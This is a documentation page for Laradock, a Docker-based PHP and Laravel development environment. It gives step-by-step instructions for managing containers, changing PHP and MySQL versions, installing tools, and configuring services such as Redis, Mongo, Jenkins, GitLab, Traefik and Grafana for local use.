text:
---
title: Documentation
type: index
weight: 3
---

## List current running Containers
```bash
docker ps
```
You can also use the following command if you want to see only this project containers:

```bash
docker-compose ps
```

## Close all running Containers
```bash
docker-compose stop
```

To stop single container do:

```bash
docker-compose stop {container-name}
```

## Delete all existing Containers
```bash
docker-compose down
```

## Enter a Container (run commands in a running Container)

1 - First list the current running containers with `docker ps`

2 - Enter any container using:

```bash
docker-compose exec {container-name} bash
```

*Example: enter MySQL container*

```bash
docker-compose exec mysql bash
```

*Example: enter to MySQL prompt within MySQL container*

```bash
docker-compose exec mysql mysql -u homestead -psecret
```

3 - To exit a container, type `exit`.

## Edit default container configuration
Open the `docker-compose.yml` and change anything you want.

Examples:

Change MySQL Database Name:

```yml
    environment:
        MYSQL_DATABASE: laradock
    ...
```

Change Redis default port to 1111:

```yml
    ports:
        - "1111:6379"
    ...
```

## Edit a Docker Image

1 - Find the `Dockerfile` of the image you want to edit,

example for `mysql` it will be `mysql/Dockerfile`.

2 - Edit the file the way you want.

3 - Re-build the container:

```bash
docker-compose build mysql
```
More info on Containers rebuilding [here](#Build-Re-build-Containers).

## Build/Re-build Containers

If you do any change to any `Dockerfile` make sure you run this command, for the changes to take effect:

```bash
docker-compose build
```
Optionally you can specify which container to rebuild (instead of rebuilding all the containers):

```bash
docker-compose build {container-name}
```

You might use the `--no-cache` option if you want full rebuilding (`docker-compose build --no-cache {container-name}`).

## Add more Software (Docker Images)

To add an image (software), just edit the `docker-compose.yml` and add your container details, to do so you need to be familiar with the [docker compose file syntax](https://docs.docker.com/compose/compose-file/).

## View the Log files
The NGINX Log file is stored in the `logs/nginx` directory.

However to view the logs of all the other containers (MySQL, PHP-FPM,...) you can run this:

```bash
docker-compose logs {container-name}
```

```bash
docker-compose logs -f {container-name}
```

More [options](https://docs.docker.com/compose/reference/logs/)

## Install PHP Extensions

Before installing PHP extensions, you have to decide first whether you need `FPM` or `CLI`, because each of them has it's own different container, if you need it for both, you have to edit both containers.

The PHP-FPM extensions should be installed in `php-fpm/Dockerfile-XX`. *(replace XX with your default PHP version number)*.

The PHP-CLI extensions should be installed in `workspace/Dockerfile`.

## Change the (PHP-FPM) Version
By default the latest stable PHP versin is configured to run.

>The PHP-FPM is responsible of serving your application code, you don't have to change the PHP-CLI version if you are planning to run your application on different PHP-FPM version.

### A) Switch from PHP `7.2` to PHP `5.6`

1 - Open the `.env`.

2 - Search for `PHP_VERSION`.

3 - Set the desired version number:

```dotenv
PHP_VERSION=5.6
```

4 - Finally rebuild the image

```bash
docker-compose build php-fpm
```

> For more details about the PHP base image, visit the [official PHP docker images](https://hub.docker.com/_/php/).

## Change the PHP-CLI Version
By default **PHP-CLI 7.0** is running.

>Note: it's not very essential to edit the PHP-CLI version. The PHP-CLI is only used for the Artisan Commands & Composer. It doesn't serve your Application code, this is the PHP-FPM job.

The PHP-CLI is installed in the Workspace container. To change the PHP-CLI version you need to simply change the `PHP_VERSION` in te .env file as follow:

1 - Open the `.env`.

2 - Search for `PHP_VERSION`.

3 - Set the desired version number:

```dotenv
PHP_VERSION=7.2
```

4 - Finally rebuild the image

```bash
docker-compose build workspace
```

## Install xDebug

1 - First install `xDebug` in the Workspace and the PHP-FPM Containers:

a) open the `.env` file

b) search for the `WORKSPACE_INSTALL_XDEBUG` argument under the Workspace Container

c) set it to `true`

d) search for the `PHP_FPM_INSTALL_XDEBUG` argument under the PHP-FPM Container

e) set it to `true`

2 - Re-build the containers `docker-compose build workspace php-fpm`

For information on how to configure xDebug with your IDE and work it out, check this [Repository](https://github.com/LarryEitel/laravel-laradock-phpstorm) or follow up on the next section if you use linux and PhpStorm.

## Install phpdbg

Install `phpdbg` in the Workspace and the PHP-FPM Containers:

1 - Open the `.env`.

2 - Search for `WORKSPACE_INSTALL_PHPDBG`.

3 - Set value to `true`

4 - Do the same for `PHP_FPM_INSTALL_PHPDBG`

```dotenv
WORKSPACE_INSTALL_PHPDBG=true
```
```dotenv
PHP_FPM_INSTALL_PHPDBG=true
```

## Setup remote debugging for PhpStorm on Linux

 - Make sure you have followed the steps above in the [Install Xdebug section](#install-xdebug).

 - Make sure Xdebug accepts connections and listens on port 9000. (Should be default configuration).

![Debug Configuration](/images/photos/PHPStorm/linux/configuration/debugConfiguration.png "Debug Configuration").

 - Create a server with name `laradock` (matches **PHP_IDE_CONFIG** key in environment file) and make sure to map project root path with server correctly.

![Server Configuration](/images/photos/PHPStorm/linux/configuration/serverConfiguration.png "Server Configuration").

 - Start listening for debug connections, place a breakpoint and you are good to go !

## Start/Stop xDebug:

By installing xDebug, you are enabling it to run on startup by default.

To control the behavior of xDebug (in the `php-fpm` Container), you can run the following commands from the Laradock root folder, (at the same prompt where you run docker-compose):

- Stop xDebug from running by default: `.php-fpm/xdebug stop`.
- Start xDebug by default: `.php-fpm/xdebug start`.
- See the status: `.php-fpm/xdebug status`.

Note: If `.php-fpm/xdebug` doesn't execute and gives `Permission Denied` error the problem can be that file `xdebug` doesn't have execution access. This can be fixed by running `chmod` command  with desired access permissions.

## Install ionCube Loader

1 - First install `ionCube Loader` in the Workspace and the PHP-FPM Containers:

a) open the `.env` file

b) search for the `WORKSPACE_INSTALL_IONCUBE` argument under the Workspace Container

c) set it to `true`

d) search for the `PHP_FPM_INSTALL_IONCUBE` argument under the PHP-FPM Container

e) set it to `true`

2 - Re-build the containers `docker-compose build workspace php-fpm`

Always download the latest version of [Loaders for ionCube ](http://www.ioncube.com/loaders.php).

## Install Deployer (Deployment tool for PHP)

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_DEPLOYER` argument under the Workspace Container

3 - Set it to `true`

4 - Re-build the containers `docker-compose build workspace`

[**Deployer Documentation Here**](https://deployer.org/docs)

## Install SonarQube (automatic code review tool)
SonarQube® is an automatic code review tool to detect bugs, vulnerabilities and code smells in your code. It can integrate with your existing workflow to enable continuous code inspection across your project branches and pull requests.

1 - Open the `.env` file

2 - Search for the `SONARQUBE_HOSTNAME=sonar.example.com` argument

3 - Set it to your-domain `sonar.example.com`

4 - `docker-compose up -d sonarqube`

5 - Open your browser: http://localhost:9000/

Troubleshooting:

if you encounter a database error:
```
docker-compose exec --user=root postgres
source docker-entrypoint-initdb.d/init_sonarqube_db.sh
```

If you encounter logs error:
```
docker-compose run --user=root --rm sonarqube chown sonarqube:sonarqube /opt/sonarqube/logs
```
[**SonarQube Documentation Here**](https://docs.sonarqube.org/latest/)

## Prepare Laradock for Production

It's recommended for production to create a custom `docker-compose.yml` file, for example `production-docker-compose.yml`

In your new production `docker-compose.yml` file you should contain only the containers you are planning to run in production (usage example: `docker-compose -f production-docker-compose.yml up -d nginx mysql redis ...`).

Note: The Database (MySQL/MariaDB/...) ports should not be forwarded on production, because Docker will automatically publish the port on the host, which is quite insecure, unless specifically told not to. So make sure to remove these lines:

```
ports:
    - "3306:3306"
```

To learn more about how Docker publishes ports, please read [this excellent post on the subject](https://fralef.me/docker-and-iptables.html).

## Setup Laravel and Docker on Digital Ocean

### [Full Guide Here](/guides/#Digital-Ocean)

## Install Laravel from a Docker Container

1 - First you need to enter the Workspace Container.

2 - Install Laravel.

Example using Composer

```bash
composer create-project laravel/laravel my-cool-app "5.2.*"
```

> We recommend using `composer create-project` instead of the Laravel installer, to install Laravel.

For more about the Laravel installation click [here](https://laravel.com/docs/master#installing-laravel).

3 - Edit `.env` to Map the new application path:

By default, Laradock assumes the Laravel application is living in the parent directory of the laradock folder.

Since the new Laravel application is in the `my-cool-app` folder, we need to replace `../:/var/www` with `../my-cool-app/:/var/www`, as follow:

```dotenv
  APP_CODE_PATH_HOST=../my-cool-app/
```
4 - Go to that folder and start working..

```bash
cd my-cool-app
```

5 - Go back to the Laradock installation steps to see how to edit the `.env` file.

## Run Artisan Commands

You can run artisan commands and many other Terminal commands from the Workspace container.

1 - Make sure you have the workspace container running.

```bash
docker-compose up -d workspace // ..and all your other containers
```

2 - Find the Workspace container name:

```bash
docker-compose ps
```

3 - Enter the Workspace container:

```bash
docker-compose exec workspace bash
```

Note: Should add `--user=laradock` (example `docker-compose exec --user=laradock workspace bash`) to have files created as your host's user to prevent issue owner of log file will be changed to root then laravel website cannot write on log file if using rotated log and new log file not existed

4 - Run anything you want :)

```bash
php artisan
```
```bash
Composer update
```
```bash
phpunit
```

## Run Laravel Queue Worker

1 - Create supervisor configuration file (for ex., named `laravel-worker.conf`) for Laravel Queue Worker in `php-worker/supervisord.d/` by simply copy from `laravel-worker.conf.example`

2 - Start everything up

```bash
docker-compose up -d php-worker
```

## Run Laravel Scheduler

Laradock provides 2 ways to run Laravel Scheduler
1 - Using cron in workspace container. Most of the time, when you start Laradock, it'll automatically start workspace container with cron inside, along with setting to run `schedule:run` command every minute.

2 - Using Supervisord in php-worker to run `schedule:run`. This way is suggested when you don't want to start workspace in production environment.

a) Comment out cron setting in workspace container, file `workspace/crontab/laradock`

```bash
# * * * * * laradock /usr/bin/php /var/www/artisan schedule:run >> /dev/null 2>&1
```

b) Create supervisor configuration file (for ex., named `laravel-scheduler.conf`) for Laravel Scheduler in `php-worker/supervisord.d/` by simply copy from `laravel-scheduler.conf.example`

c) Start php-worker container

```bash
docker-compose up -d php-worker
```

## Use Mailu

1 - You need register a domain.

2 - Required RECAPTCHA for signup email [HERE](https://www.google.com/recaptcha/admin)

2 - modify following environment variable in `.env` file

```
MAILU_RECAPTCHA_PUBLIC_KEY=<YOUR_RECAPTCHA_PUBLIC_KEY>
MAILU_RECAPTCHA_PRIVATE_KEY=<YOUR_RECAPTCHA_PRIVATE_KEY>
MAILU_DOMAIN=laradock.io
MAILU_HOSTNAMES=mail.laradock.io
```

2 - Open your browser and visit `http://YOUR_DOMAIN`.

## Use NetData

1 - Run the NetData Container (`netdata`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d netdata
```

2 - Open your browser and visit the localhost on port **19999**:  `http://localhost:19999`

## Use Metabase

1 - Run the Metabase Container (`metbase`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d metabase
```

2 - Open your browser and visit the localhost on port **3030**:  `http://localhost:3030`

3 - You can use environment to configure Metabase container. See docs in: [Running Metabase on Docker](https://www.metabase.com/docs/v0.12.0/operations-guide/running-metabase-on-docker.html)

## Use Jenkins

1) Boot the container `docker-compose up -d jenkins`. To enter the container type `docker-compose exec jenkins bash`.

2) Go to `http://localhost:8090/` (if you didn't chanhed your default port mapping)

3) Authenticate from the web app.

- Default username is `admin`.
- Default password is `docker-compose exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword`.

(To enter container as root type `docker-compose exec --user root jenkins bash`).

4) Install some plugins.

5) Create your first Admin user, or continue as Admin.

Note: to add user go to `http://localhost:8090/securityRealm/addUser` and to restart it from the web app visit `http://localhost:8090/restart`.

You may wanna change the default security configuration, so go to `http://localhost:8090/configureSecurity/` under Authorization and choosing "Anyone can do anything" or "Project-based Matrix Authorization Strategy" or anything else.

## Use Redis

1 - First make sure you run the Redis Container (`redis`) with the `docker-compose up` command.

```bash
docker-compose up -d redis
```

> To execute redis commands, enter the redis container first `docker-compose exec redis bash` then enter the `redis-cli`.

2 - Open your Laravel's `.env` file and set the `REDIS_HOST` to `redis`

```env
REDIS_HOST=redis
```

If you're using Laravel, and you don't find the `REDIS_HOST` variable in your `.env` file. Go to the database configuration file `config/database.php` and replace the default `<IP_ADDRESS>` IP with `redis` for Redis like this:

```php
'redis' => [
    'cluster' => false,
    'default' => [
        'host'     => 'redis',
        'port'     => 6379,
        'database' => 0,
    ],
],
```

3 - To enable Redis Caching and/or for Sessions Management. Also from the `.env` file set `CACHE_DRIVER` and `SESSION_DRIVER` to `redis` instead of the default `file`.

```env
CACHE_DRIVER=redis
SESSION_DRIVER=redis
```

4 - Finally make sure you have the `predis/predis` package `(~1.0)` installed via Composer:

```bash
composer require predis/predis:^1.0
```

5 - You can manually test it from Laravel with this code:

```php
\Cache::store('redis')->put('Laradock', 'Awesome', 10);
```

## Use Redis Cluster

1 - First make sure you run the Redis-Cluster Container (`redis-cluster`) with the `docker-compose up` command.

```bash
docker-compose up -d redis-cluster
```

2 - Open your Laravel's `config/database.php` and set the redis cluster configuration. Below is example configuration with phpredis.

Read the [Laravel official documentation](https://laravel.com/docs/5.7/redis#configuration) for more details.

```php
'redis' => [
    'client' => 'phpredis',
    'options' => [
        'cluster' => 'redis',
    ],
    'clusters' => [
        'default' => [
            [
                'host' => 'redis-cluster',
                'password' => null,
                'port' => 7000,
                'database' => 0,
            ],
        ],
    ],
],
```

## Use Mongo

1 - First install `mongo` in the Workspace and the PHP-FPM Containers:

a) open the `.env` file

b) search for the `WORKSPACE_INSTALL_MONGO` argument under the Workspace Container

c) set it to `true`

d) search for the `PHP_FPM_INSTALL_MONGO` argument under the PHP-FPM Container

e) set it to `true`

2 - Re-build the containers `docker-compose build workspace php-fpm`

3 - Run the MongoDB Container (`mongo`) with the `docker-compose up` command.

```bash
docker-compose up -d mongo
```

4 - Add the MongoDB configurations to the `config/database.php` configuration file:

```php
'connections' => [

    'mongodb' => [
        'driver'   => 'mongodb',
        'host'     => env('DB_HOST', 'localhost'),
        'port'     => env('DB_PORT', 27017),
        'database' => env('DB_DATABASE', 'database'),
        'username' => '',
        'password' => '',
        'options'  => [
            'database' => '',
        ]
    ],

	// ...

],
```

5 - Open your Laravel's `.env` file and update the following variables:

- set the `DB_HOST` to your `mongo`.
- set the `DB_PORT` to `27017`.
- set the `DB_DATABASE` to `database`.

6 - Finally make sure you have the `jenssegers/mongodb` package installed via Composer and its Service Provider is added.

```bash
composer require jenssegers/mongodb
```
More details about this [here](https://github.com/jenssegers/laravel-mongodb#installation).

7 - Test it:

- First let your Models extend from the Mongo Eloquent Model. Check the [documentation](https://github.com/jenssegers/laravel-mongodb#eloquent).
- Enter the Workspace Container.
- Migrate the Database `php artisan migrate`.

## Use PhpMyAdmin

1 - Run the phpMyAdmin Container (`phpmyadmin`) with the `docker-compose up` command. Example:

```bash
# use with mysql
docker-compose up -d mysql phpmyadmin

# use with mariadb
docker-compose up -d mariadb phpmyadmin
```

*Note: To use with MariaDB, open `.env` and set `PMA_DB_ENGINE=mysql` to `PMA_DB_ENGINE=mariadb`.*

2 - Open your browser and visit the localhost on port **8080**:  `http://localhost:8080`

## Use Gitlab

1 - Run the Gitlab Container (`gitlab`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d gitlab
```

2 - Open your browser and visit the localhost on port **8989**:  `http://localhost:8989`

*Note: You may change GITLAB_DOMAIN_NAME to your own domain name like `http://gitlab.example.com` default is `http://localhost`*

## Use Gitlab Runner

1 - Retrieve the registration token in your gitlab project (Settings > CI / CD > Runners > Set up a specific Runner manually)

2 - Open the `.env` file and set the following changes:
```
# so that gitlab container will pass the correct domain to gitlab-runner container
GITLAB_DOMAIN_NAME=http://gitlab

GITLAB_RUNNER_REGISTRATION_TOKEN=<value-in-step-1>

# so that gitlab-runner container will send POST request for registration to correct domain
GITLAB_CI_SERVER_URL=http://gitlab
```

3 - Open the `docker-compose.yml` file and add the following changes:
```yml
    gitlab-runner:
      environment: # these values will be used during `gitlab-runner register`
        - RUNNER_EXECUTOR=docker # change from shell (default)
        - DOCKER_IMAGE=alpine
        - DOCKER_NETWORK_MODE=laradock_backend
      networks:
        - backend # connect to network where gitlab service is connected
```

4 - Run the Gitlab-Runner Container (`gitlab-runner`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d gitlab-runner
```

5 - Register the gitlab-runner to the gitlab container

```bash
docker-compose exec gitlab-runner bash
gitlab-runner register
```

6 - Create a `.gitlab-ci.yml` file for your pipeline

```yml
before_script:
  - echo Hello!

job1:
  scripts:
    - echo job1
```

7 - Push changes to gitlab

8 - Verify that pipeline is run successful

## Use Adminer

1 - Run the Adminer Container (`adminer`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d adminer
```

2 - Open your browser and visit the localhost on port **8080**:  `http://localhost:8080`

**Note:** We've locked Adminer to version 4.3.0 as at the time of writing [it contained a major bug](https://sourceforge.net/p/adminer/bugs-and-features/548/) preventing PostgreSQL users from logging in. If that bug is fixed (or if you're not using PostgreSQL) feel free to set Adminer to the latest version within [the Dockerfile](https://github.com/laradock/laradock/blob/master/adminer/Dockerfile#L1): `FROM adminer:latest`

## Use Portainer

1 - Run the Portainer Container (`portainer`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d portainer
```

2 - Open your browser and visit the localhost on port **9010**:  `http://localhost:9010`

## Use PgAdmin

1 - Run the pgAdmin Container (`pgadmin`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d postgres pgadmin
```

2 - Open your browser and visit the localhost on port **5050**:  `http://localhost:5050`

3 - At login page use default credentials:

Username<EMAIL_ADDRESS>
Password : admin

## Use Beanstalkd

1 - Run the Beanstalkd Container:

```bash
docker-compose up -d beanstalkd
```

2 - Configure Laravel to connect to that container by editing the `config/queue.php` config file.

a. first set `beanstalkd` as default queue driver
b. set the queue host to beanstalkd : `QUEUE_HOST=beanstalkd`

*beanstalkd is now available on default port `11300`.*

3 - Require the dependency package [pda/pheanstalk](https://github.com/pda/pheanstalk) using composer.

Optionally you can use the Beanstalkd Console Container to manage your Queues from a web interface.

1 - Run the Beanstalkd Console Container:

```bash
docker-compose up -d beanstalkd-console
```

2 - Open your browser and visit `http://localhost:2080/`

_Note: You can customize the port on which beanstalkd console is listening by changing `BEANSTALKD_CONSOLE_HOST_PORT` in `.env`. The default value is *2080*._

3 - Add the server

- Host: beanstalkd
- Port: 11300

4 - Done.

## Use ElasticSearch

1 - Run the ElasticSearch Container (`elasticsearch`) with the `docker-compose up` command:

```bash
docker-compose up -d elasticsearch
```

2 - Open your browser and visit the localhost on port **9200**:  `http://localhost:9200`

> The default username is `elastic` and the default password is `changeme`.

### Install ElasticSearch Plugin

1 - Install an ElasticSearch plugin.

```bash
docker-compose exec elasticsearch /usr/share/elasticsearch/bin/plugin install {plugin-name}
```

2 - Restart elasticsearch container

```bash
docker-compose restart elasticsearch
```

## Use Selenium

1 - Run the Selenium Container (`selenium`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d selenium
```

2 - Open your browser and visit the localhost on port **4444** at the following URL:  `http://localhost:4444/wd/hub`

## Use RethinkDB

The RethinkDB is an open-source Database for Real-time Web ([RethinkDB](https://rethinkdb.com/)).
A package ([Laravel RethinkDB](https://github.com/duxet/laravel-rethinkdb)) is being developed and was released a version for Laravel 5.2 (experimental).

1 - Run the RethinkDB Container (`rethinkdb`) with the `docker-compose up` command.

```bash
docker-compose up -d rethinkdb
```

2 - Access the RethinkDB Administration Console [http://localhost:8090/#tables](http://localhost:8090/#tables) for create a database called `database`.

3 - Add the RethinkDB configurations to the `config/database.php` configuration file:

```php
'connections' => [

	'rethinkdb' => [
		'name'      => 'rethinkdb',
		'driver'    => 'rethinkdb',
		'host'      => env('DB_HOST', 'rethinkdb'),
		'port'      => env('DB_PORT', 28015),
		'database'  => env('DB_DATABASE', 'test'),
	]

	// ...

],
```

4 - Open your Laravel's `.env` file and update the following variables:

- set the `DB_CONNECTION` to your `rethinkdb`.
- set the `DB_HOST` to `rethinkdb`.
- set the `DB_PORT` to `28015`.
- set the `DB_DATABASE` to `database`.

#### Additional Notes

- You may do backing up of your data using the next reference: [backing up your data](https://www.rethinkdb.com/docs/backup/).

## Use Minio

1 - Configure Minio:
  - On the workspace container, change `INSTALL_MC` to true to get the client
  - Set `MINIO_ACCESS_KEY` and `MINIO_ACCESS_SECRET` if you wish to set proper keys

2 - Run the Minio Container (`minio`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d minio
```

3 - Open your browser and visit the localhost on port **9000** at the following URL:  `http://localhost:9000`

4 - Create a bucket either through the webui or using the mc client:
  ```bash
  mc mb minio/bucket
  ```

5 - When configuring your other clients use the following details:
  ```
  S3_HOST=http://minio
  S3_KEY=access
  S3_SECRET=secretkey
  S3_REGION=us-east-1
  S3_BUCKET=bucket
  ```

## Use Thumbor

Thumbor is a smart imaging service. It enables on-demand crop, resizing and flipping of images. ([Thumbor](https://github.com/thumbor/thumbor))

1 - Configure Thumbor:
  - Checkout all the options under the thumbor settings

2 - Run the Thumbor Container (`minio`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d thumbor
```

3 - Navigate to an example image on `http://localhost:8000/unsafe/300x300/i.imgur.com/bvjzPct.jpg`

For more documentation on Thumbor visit the [Thumbor documenation](http://thumbor.readthedocs.io/en/latest/index.html) page

## Use AWS

1 - Configure AWS:
  - make sure to add your SSH keys in aws/ssh_keys folder

2 - Run the Aws Container (`aws`) with the `docker-compose up` command. Example:

```bash
docker-compose up -d aws
```

3 - Access the aws container with `docker-compose exec aws bash`

4 - To start using eb cli inside the container, initialize your project first by doing 'eb init'. Read the [aws eb cli](http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/eb-cli3-configuration.html) docs for more details.

## Use Grafana

1 - Configure Grafana: Change Port using `GRAFANA_PORT` if you wish to. Default is port 3000.

2 - Run the Grafana Container (`grafana`) with the `docker-compose up`command:

```bash
docker-compose up -d grafana
```

3 - Open your browser and visit the localhost on port **3000** at the following URL: `http://localhost:3000`

4 - Login using the credentials User = `admin`, Password = `admin`. Change the password in the web interface if you want to.

## Use Traefik

To use Traefik you need to do some changes in `traefik/trafik.toml` and `docker-compose.yml`.

1 - Open `traefik.toml` and change the `e-mail` property in `acme` section.

2 - Change your domain in `acme.domains`. For example: `main = "example.org"`

2.1 - If you have subdomains, you must add them to `sans` property in `acme.domains` section.

```bash
[[acme.domais]]
  main = "example.org"
  sans = ["monitor.example.org", "pma.example.org"]
```

3 - If you need to add basic authentication (https://docs.traefik.io/configuration/entrypoints/#basic-authentication), you just need to add the following text after `[entryPoints.https.tls]`:

```bash
[entryPoints.https.auth.basic]
  users = ["user:password"]
```

4 - You need to change the `docker-compose.yml` file to match the Traefik needs. If you want to use Traefik, you must not expose the ports of each container to the internet, but specify some labels.

4.1 For example, let's try with NGINX. You must have:

```bash
nginx:
  build:
    context: ./nginx
    args:
      - PHP_UPSTREAM_CONTAINER=${NGINX_PHP_UPSTREAM_CONTAINER}
      - PHP_UPSTREAM_PORT=${NGINX_PHP_UPSTREAM_PORT}
      - CHANGE_SOURCE=${CHANGE_SOURCE}
  volumes:
    - ${APP_CODE_PATH_HOST}:${APP_CODE_PATH_CONTAINER}
    - ${NGINX_HOST_LOG_PATH}:/var/log/nginx
    - ${NGINX_SITES_PATH}:/etc/nginx/sites-available
  depends_on:
    - php-fpm
  networks:
    - frontend
    - backend
  labels:
    - traefik.backend=nginx
    - traefik.frontend.rule=Host:example.org
    - traefik.port=80
```

instead of

```bash
nginx:
  build:
    context: ./nginx
    args:
      - PHP_UPSTREAM_CONTAINER=${NGINX_PHP_UPSTREAM_CONTAINER}
      - PHP_UPSTREAM_PORT=${NGINX_PHP_UPSTREAM_PORT}
      - CHANGE_SOURCE=${CHANGE_SOURCE}
  volumes:
    - ${APP_CODE_PATH_HOST}:${APP_CODE_PATH_CONTAINER}
    - ${NGINX_HOST_LOG_PATH}:/var/log/nginx
    - ${NGINX_SITES_PATH}:/etc/nginx/sites-available
    - ${NGINX_SSL_PATH}:/etc/nginx/ssl
  ports:
    - "${NGINX_HOST_HTTP_PORT}:80"
    - "${NGINX_HOST_HTTPS_PORT}:443"
  depends_on:
    - php-fpm
  networks:
    - frontend
    - backend
```

## Use Mosquitto (MQTT Broker)

1 - Configure Mosquitto: Change Port using `MOSQUITTO_PORT` if you wish to. Default is port 9001.

2 - Run the Mosquitto Container (`mosquitto`) with the `docker-compose up`command:

```bash
docker-compose up -d mosquitto
```

3 - Open your command line and use a MQTT Client (Eg. https://github.com/mqttjs/MQTT.js) to subscribe a topic and publish a message.

4 - Subscribe: `mqtt sub -t 'test' -h localhost -p 9001 -C 'ws' -v`

5 - Publish: `mqtt pub -t 'test' -h localhost -p 9001 -C 'ws' -m 'Hello!'`

## Install CodeIgniter

To install CodeIgniter 3 on Laradock all you have to do is the following simple steps:

1 - Open the `docker-compose.yml` file.

2 - Change `CODEIGNITER=false` to `CODEIGNITER=true`.

3 - Re-build your PHP-FPM Container `docker-compose build php-fpm`.

## Install Powerline

1 - Open the `.env` file and set `WORKSPACE_INSTALL_POWERLINE` and `WORKSPACE_INSTALL_PYTHON` to `true`.

2 - Run `docker-compose build workspace`, after the step above.

Powerline is required python

## Install Symfony

1 - Open the `.env` file and set `WORKSPACE_INSTALL_SYMFONY` to `true`.

2 - Run `docker-compose build workspace`, after the step above.

3 - The NGINX sites include a default config file for your Symfony project `symfony.conf.example`, so edit it and make sure the `root` is pointing to your project `web` directory.

4 - Run `docker-compose restart` if the container was already running, before the step above.

5 - Visit `symfony.test`

## Miscellaneous

## Change the timezone

To change the timezone for the `workspace` container, modify the `TZ` build argument in the Docker Compose file to one in the [TZ database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).

For example, if I want the timezone to be `New York`:

```yml
    workspace:
        build:
            context: ./workspace
            args:
                - TZ=America/New_York
    ...
```

We also recommend [setting the timezone in Laravel](http://www.camroncade.com/managing-timezones-with-laravel/).

## Add locales to PHP-FPM

To add locales to the container:

1 - Open the `.env` file and set `PHP_FPM_INSTALL_ADDITIONAL_LOCALES` to `true`.

2 - Add locale codes to `PHP_FPM_ADDITIONAL_LOCALES`.

3 - Re-build your PHP-FPM Container `docker-compose build php-fpm`.

4 - Check enabled locales with `docker-compose exec php-fpm locale -a`

## Adding cron jobs

You can add your cron jobs to `workspace/crontab/root` after the `php artisan` line.

```
* * * * * laradock /usr/bin/php /var/www/artisan schedule:run >> /dev/null 2>&1

# Custom cron
* * * * * root echo "Every Minute" > /var/log/cron.log 2>&1
```

Make sure you [change the timezone](#Change-the-timezone) if you don't want to use the default (UTC).

If you are on Windows, verify that the line endings for this file are LF only, otherwise the cron jobs will silently fail.

## Access workspace via ssh

You can access the `workspace` container through `localhost:2222` by setting the `INSTALL_WORKSPACE_SSH` build argument to `true`.

To change the default forwarded port for ssh:

```yml
    workspace:
		ports:
			- "2222:22" # Edit this line
    ...
```

Then login using:

```bash
ssh -o PasswordAuthentication=no    \
    -o StrictHostKeyChecking=no     \
    -o UserKnownHostsFile=/dev/null \
    -p 2222                         \
    -i workspace/insecure_id_rsa    \
    laradock@localhost
```

To login as root, replace laradock@localhost with root@localhost.

## Change the (MySQL) Version
By default **MySQL 8.0** is running.

MySQL 8.0 is a development release.  You may prefer to use the latest stable version, or an even older release.  If you wish, you can change the MySQL image that is used.

Open up your .env file and set the `MYSQL_VERSION` variable to the version you would like to install.

```
MYSQL_VERSION=5.7
```

Available versions are: 5.5, 5.6, 5.7, 8.0, or latest.  See https://store.docker.com/images/mysql for more information.

## MySQL access from host

You can forward the MySQL/MariaDB port to your host by making sure these lines are added to the `mysql` or `mariadb` section of the `docker-compose.yml` or in your [environment specific Compose](https://docs.docker.com/compose/extends/) file.

```
ports:
    - "3306:3306"
```

## MySQL root access

The default username and password for the root MySQL user are `root` and `root `.

1 - Enter the MySQL container: `docker-compose exec mysql bash`.

2 - Enter mysql: `mysql -uroot -proot` for non root access use `mysql -uhomestead -psecret`.

3 - See all users: `SELECT User FROM mysql.user;`

4 - Run any commands `show databases`, `show tables`, `select * from.....`.

## Create Multiple Databases (MySQL)

Create `createdb.sql` from `mysql/docker-entrypoint-initdb.d/createdb.sql.example` in `mysql/docker-entrypoint-initdb.d/*` and add your SQL syntax as follow:

```sql
CREATE DATABASE IF NOT EXISTS `your_db_1` COLLATE 'utf8_general_ci' ;
GRANT ALL ON `your_db_1`.* TO 'mysql_user'@'%' ;
```

## Change MySQL port

Modify the `mysql/my.cnf` file to set your port number, `1234` is used as an example.

```
[mysqld]
port=1234
```

If you need MySQL access from your host, do not forget to change the internal port number (`"3306:3306"` -> `"3306:1234"`) in the docker-compose configuration file.

## Use custom Domain (instead of the Docker IP)

Assuming your custom domain is `laravel.test`

1 - Open your `/etc/hosts` file and map your localhost address `<IP_ADDRESS>` to the `laravel.test` domain, by adding the following:

```bash
<IP_ADDRESS>    laravel.test
```

2 - Open your browser and visit `{http://laravel.test}`

Optionally you can define the server name in the NGINX configuration file, like this:

```conf
server_name laravel.test;
```

## Enable Global Composer Build Install

Enabling Global Composer Install during the build for the container allows you to get your composer requirements installed and available in the container after the build is done.

1 - Open the `.env` file

2 - Search for the `WORKSPACE_COMPOSER_GLOBAL_INSTALL` argument under the Workspace Container and set it to `true`

3 - Now add your dependencies to `workspace/composer.json`

4 - Re-build the Workspace Container `docker-compose build workspace`

## Magento 2 authentication credential (composer install)

1 - Open the `.env` file

2 - Search for the `WORKSPACE_COMPOSER_AUTH` argument under the Workspace Container and set it to `true`

3 - Now add your credentials to `workspace/auth.json`

4 - Re-build the Workspace Container `docker-compose build workspace`

## Install Prestissimo

[Prestissimo](https://github.com/hirak/prestissimo) is a plugin for composer which enables parallel install functionality.

1 - Enable Running Global Composer Install during the Build:

Click on this [Enable Global Composer Build Install](#Enable-Global-Composer-Build-Install) and do steps 1 and 2 only then continue here.

2 - Add prestissimo as requirement in Composer:

a - Now open the `workspace/composer.json` file

b - Add `"hirak/prestissimo": "^0.3"` as requirement

c - Re-build the Workspace Container `docker-compose build workspace`

## Install Node + NVM

To install NVM and NodeJS in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NODE` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install Node + YARN

Yarn is a new package manager for JavaScript. It is so faster than npm, which you can find [here](http://yarnpkg.com/en/compare).To install NodeJS and [Yarn](https://yarnpkg.com/) in the Workspace container:

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NODE` and `WORKSPACE_INSTALL_YARN` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

